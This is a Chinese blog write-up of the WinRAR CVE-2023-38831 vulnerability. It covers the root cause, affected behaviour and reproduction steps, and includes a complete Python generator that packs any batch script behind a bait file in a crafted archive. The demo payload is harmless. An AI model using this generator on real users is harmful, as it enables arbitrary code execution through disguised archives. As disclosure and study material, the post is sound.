背景
2023年10月,在研究 DarkMe 恶意软件的传播时,Group-IB 威胁情报单位在 WinRAR 处理 ZIP 文件格式时遇到了一个以前未知的漏洞。通过利用该程序中的漏洞,威胁行为者能够制作 ZIP 存档,作为各种恶意软件系列的载体。武器化的ZIP档案在交易论坛上分发。一旦提取并执行,该恶意软件允许威胁行为者从经纪人账户中提取资金。该漏洞自2023年4月起被利用。
受影响的版本
漏洞成因
·在zip文件格式中,使用了ZIPDIRENTRY结构体来管理压缩包内的文件和文件夹信息,包括名称、名称长度和修改日期等。WinRAR允许用户预览和执行压缩包内文件。但由于字符串比较代码的问题,当用户打开zip压缩包并执行文件时,WinRAR可能会错误地释放非用户所选的文件。
·WinRAR使用了ShellExecuteExW来启动目标文件,这是Windows系统的一个API函数,用于执行目标文件操作。然而,当文件路径字符串末尾存在空格时,该API会在路径末尾添加通配符“.*”并搜索匹配的文件来执行,导致了非目标文件的执行。
综上所述,这个漏洞的触发包含两个环节:
a.文件释放:由于文件名字符串的比较函数存在一定的问题,导致了非目标文件被释放;
b.文件执行:释放的文件经ShellExecuteExW执行,当路径字符串末尾有空格时,可能会导致路径下其他特定文件的执行。
漏洞详细成因请参考https://www.cnblogs.com/GoodFish-/archive/2023/09/21/17715977.html
漏洞复现
EXP脚本cve-2023-38831-exp-gen.py
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\cve-2023-38831-exp-gen.py poc
python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")
待执行命令 script.bat
@echo off
start "" "https://ys.mihoyo.com/"
start "" "https://ys-api.mihoyo.com/event/download_porter/link/ys_cn/official/pc_default
创建诱饵文件test.png(可以是.txt .pdf等等)
将这三个文件放在同一个目录下,并在当前目录执行python cve-2023-38831-exp-gen.py test.png script.bat poc.rar
获得验证文件poc.rar
打开poc.rar中的诱饵文件test.png
验证成功!
危害
可以让攻击者利用恶意的压缩文件在用户的电脑上执行任意代码,如跳转到钓鱼网站,危害用户的数据和隐私安全。
鸣谢
https://www.freebuf.com/vuls/376409.html
https://www.cnblogs.com/GoodFish-/archive/2023/09/21/17715977.html
免责声明
本文只用作技术交流,请勿用于任何非法行为!!!!
标签:文件,BAIT,NAME,38831,TEMPLATE,2023,CVE,os From: https://www.cnblogs.com/Kawakaze777/p/17884848.html